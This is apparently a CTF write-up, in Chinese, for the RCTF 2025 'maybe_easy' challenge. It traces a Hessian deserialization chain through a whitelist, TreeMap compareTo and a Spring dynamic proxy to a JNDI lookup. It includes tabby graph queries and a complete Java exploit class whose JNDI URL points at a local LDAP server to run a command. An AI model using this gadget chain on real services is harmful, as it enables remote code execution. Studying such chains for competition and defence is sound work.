2025RCTF-maybe_easy学习
记录一下这条链子,hessian反序列化入口很直接定义了白名单,只能反序列化白名单中的类org.springframework.jndi. 这个白名单对应的sink点是org.springframework.jndi.support.SimpleJndiBeanFactory.lookup() 这个jndi,lookup方法是由这个类中的getBean 方法触发,怎么把这条链子连起来就和hessi
记录一下这条链子,hessian反序列化入口很直接
定义了白名单,只能反序列化白名单中的类
org.springframework.jndi. 这个白名单对应的sink点是org.springframework.jndi.support.SimpleJndiBeanFactory.lookup() 这个jndi,lookup方法是由这个类中的getBean 方法触发,怎么把这条链子连起来就和hessian反序列化的特点有关了,这里贴个图,文章总结的很好
触发put方法的细节这里就不跟了,在TreeMap的put方法中可调用任意的compareTo 方法
然后题目自己实现了一个Maybe 类且继承了Comparable 接口,所以这里就可以连起来
然后该类的compareTo 方法中进行了动态代理调用invoke,所以需要找一个在白名单且能够触发到getBean方法的代理类,用tabby跑一下可以跑出来
// 1. 限定 source 节点:匹配白名单 或 匹配代理类中的 invoke 方法
match (source:Method)
where
// 条件 A: 原始白名单包匹配
(source.CLASSNAME STARTS WITH "com.rctf.server.tool."
OR source.CLASSNAME STARTS WITH "java.util."
OR source.CLASSNAME STARTS WITH "org.apache.commons.logging."
OR source.CLASSNAME STARTS WITH "org.springframework.beans."
OR source.CLASSNAME STARTS WITH "org.springframework.jndi.")
// OR 条件 B: 匹配常见的代理类方法
OR (
source.NAME = "invoke" // 代理方法通常是 invoke
)
// 2. 限定 sink 节点(保持放宽后的限制,更容易找到路径)
match (sink:Method {NAME:"getBean"})
// 3. 增加路径深度
call apoc.algo.allSimplePaths(source, sink, "CALL>|ALIAS>", 5)
yield path
// 4. 返回结果
return path limit 5或者下面这样去个or条件也行
// 1. 限定 source 节点:匹配白名单 或 匹配代理类中的 invoke 方法
match (source:Method)
where
// 条件 A: 原始白名单包匹配
(source.CLASSNAME STARTS WITH "com.rctf.server.tool."
OR source.CLASSNAME STARTS WITH "java.util."
OR source.CLASSNAME STARTS WITH "org.apache.commons.logging."
OR source.CLASSNAME STARTS WITH "org.springframework.beans."
OR source.CLASSNAME STARTS WITH "org.springframework.jndi.")
// 2. 限定 sink 节点(保持放宽后的限制,更容易找到路径)
match (sink:Method {NAME:"getBean"})
// 3. 增加路径深度
call apoc.algo.allSimplePaths(source, sink, "CALL>|ALIAS>", 5)
yield path
// 4. 返回结果
return path limit 5完整的链路,然后对着写payload即可,当然这里要对动态代理比较熟,不然tabby跑出来了也看不出来,这里复现当学习了,然后根据这个写链子即可
package com.rctf.server;
import com.caucho.hessian.io.Hessian2Output;
import com.rctf.server.tool.HessianFactory;
import com.rctf.server.tool.Maybe;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.ObjectFactory;
import org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.TreeMap;
public class Exp {
public static void main(String[] args) throws Exception {
String jndiUrl = "ldap://127.0.0.1:1389/Basic/Command/open -a Calculator";
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
Class<?> tboFactoryClass = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory");
Constructor<?> tboFactoryConstructor = tboFactoryClass.getDeclaredConstructor(BeanFactory.class, String.class);
tboFactoryConstructor.setAccessible(true);
ObjectFactory<?> objectFactory = (ObjectFactory<?>) tboFactoryConstructor.newInstance(simpleJndiBeanFactory, jndiUrl);
Class<?> ofdihClass = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> ofdihConstructor = ofdihClass.getDeclaredConstructor(ObjectFactory.class);
ofdihConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ofdihConstructor.newInstance(objectFactory);
Maybe maybe = new Maybe(handler);
// maybe.compareTo(null);
TreeMap treeMap = buildEvilTreeMap(maybe,maybe);
// treeMap.put(maybe,"aaa");
// treeMap.put(maybe,"bbb");
String serialize = HessianFactory.serialize(treeMap);
System.out.println(serialize);
Object obj = HessianFactory.deserialize(serialize);
}
private static TreeMap buildEvilTreeMap(Object evilKey, Object evilValue) throws Exception {
TreeMap<Object, Object> treeMap = new TreeMap<>();
Class<?> nodeClass = Class.forName("java.util.TreeMap$Entry");
Constructor<?> nodeCons = nodeClass.getDeclaredConstructor(
Object.class, Object.class, nodeClass
);
nodeCons.setAccessible(true);
// 构造一个节点:key = evilKey,value = evilValue
Object root = nodeCons.newInstance(evilKey, evilValue, null);
// 反射写入 TreeMap 的字段
Field rootField = TreeMap.class.getDeclaredField("root");
rootField.setAccessible(true);
rootField.set(treeMap, root);
Field sizeField = TreeMap.class.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(treeMap, 1);
Field modCountField = TreeMap.class.getDeclaredField("modCount");
modCountField.setAccessible(true);
modCountField.set(treeMap, 1);
return treeMap;
}
}
map防止本地触发封装原理
gpt一键生成,然后高版本jdk用Jackson可以绕
参考
https://blog.csdn.net/uuzeray/article/details/155031886
https://mp.weixin.qq.com/s/_y0dumpXKv1xGdN_jEH3Mw
本文分析了一条Hessian反序列化利用链,结合白名单绕过、TreeMap触发compareTo及动态代理实现JNDI注入。
由 AI 根据全文自动生成,仅供参考,以原文为准